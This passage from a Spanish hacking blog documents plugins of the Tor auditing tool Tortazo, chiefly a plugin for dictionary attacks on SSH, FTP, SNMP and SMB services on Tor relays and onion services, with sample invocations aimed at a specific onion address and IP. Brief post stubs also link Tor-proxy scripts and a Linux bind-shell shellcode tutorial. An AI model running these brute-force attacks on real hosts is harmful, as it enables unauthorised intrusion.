La única función definida en el plugin es “startHTTPHiddenService” y permite iniciar un servicio oculto con los recursos indicados en el argumento “serviceDir”, recursos como páginas html, scripts, CSS, imágenes, documentos, etc. En el caso de que se haya creado un servicio oculto con anterioridad, es posible indicar su ubicación con el parámetro “hiddenserviceDir”, si dicho parámetro no se indica, automáticamente se creará un servicio oculto con una dirección onion nueva.

bruterPlugin

Este plugin simplemente se encarga de ejecutar ataques por diccionario contra diferentes tipos de servicios ocultos, tales como SSH, FTP, SNMP o SMB. Del mismo modo que otros plugins en Tortazo, es necesario contar con una instancia de TOR en ejecución con el puerto SOCKS abierto, de esta forma será posible enviar las peticiones a cada uno de los servicios ocultos indicados.

	python Tortazo.py -P bruter -D -U -T config/config-example/torrc-example -v	

        Tortazo	Plugin <bruterPlugin>: self.sshBruterOnHiddenService("5bsk3oj5jufsuii6.onion",dictFile="/home/user/dict")

	Tortazo Plugin <bruterPlugin> : self.sshBruterOnHiddenService("5bsk3oj5jufsuii6.onion")

	Tortazo Plugin <bruterPlugin> : self.ftpBruterOnRelay("37.213.43.122",dictFile="/home/user/dict")

	Tortazo Plugin <bruterPlugin> : self.ftpBruterOnHiddenService("5bsk3oj5jufsuii6.onion",dictFile="/home/user/dict")

        Tortazo Plugin <bruterPlugin> : self.self.snmpBruterOnRelay("37.213.43.122",dictFile="/home/user/dict")

Existen varias funciones en el plugin que permiten ejecutar ataques por diccionario, las cuales en todos los casos, reciben como argumento el diccionario con nombres de usuario y contraseña. En el caso de no especificar dicho fichero, el plugin utilizará FuzzDB automáticamente para la generación de usuarios y contraseñas a probar. La función “help” permite ver todas las funciones disponibles y en todos los casos, existen funciones para atacar repetidores o servicios ocultos en la deep web de TOR. No obstante, el caso de SNMP es bastante particular, dado que se trata de un protocolo que funciona sobre UDP y el trafico que maneja la red TOR es enteramente TCP, debido a esto, teóricamente no pueden existir servicios ocultos con SNMP, sin embargo si que es posible que algunos de los repetidores encontrados tengan un servicio SNMP en ejecución, por este motivo las funciones disponibles para atacar este tipo de servicios, solamente están disponibles para repetidores y no para servicios ocultos.

Hay algunos otros plugins que también son interesantes y si el proyecto te llama la atención, puedes estudiarlos con mayor detalle en la siguiente sección de la documentación. http://tortazo.readthedocs.org/en/latest/available_plugins.html
Además, existen otros plugins que permiten integrar herramientas como Nessus, W3AF o Shodan.

Saludos y Happy Hack!

Hacking con Python Parte 33 – Peticiones HTTP contra TOR utilizando requests y requesocks

septiembre 16, 2014 Deja un comentario

Uso de las librerías requesocks y socks para ejecutar scripts utilizando el proxy socks de TOR.

AnonBrowser.py:    https://github.com/Adastra-thw/pyHacks/blob/master/AnonBrowser.py
SimpleTorConnect.py:   https://github.com/Adastra-thw/pyHacks/blob/master/SimpleTorConnect.py
SimpleTorConnectRequests.py:   https://github.com/Adastra-thw/pyHacks/blob/master/SimpleTorConnectRequests.py

Repositorio GIT de la serie:

https://github.com/Adastra-thw/pyHacks.git


Make a Donation Button

Explotación de Software Parte 32 – Desarrollo de Shellcodes en Linux – Bind Shell

septiembre 11, 2014 Deja un comentario

Desarrollo de una BindShell en un sistema Linux. Se enseña el uso de la systemcall “socketcall” con las funciones “socket”, “bind”, “listen” y “accept”.

dump.sh:  https://github.com/Adastra-thw/ExploitSerie/blob/master/dump.sh
bind.nasm: https://github.com/Adastra-thw/ExploitSerie/blob/master/bind.nasm

Repositorio GIT de la serie:

https://github.com/Adastra-thw/ExploitSerie.git


Make a Donation Button

 

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.077 seguidores

A %d blogueros les gusta esto: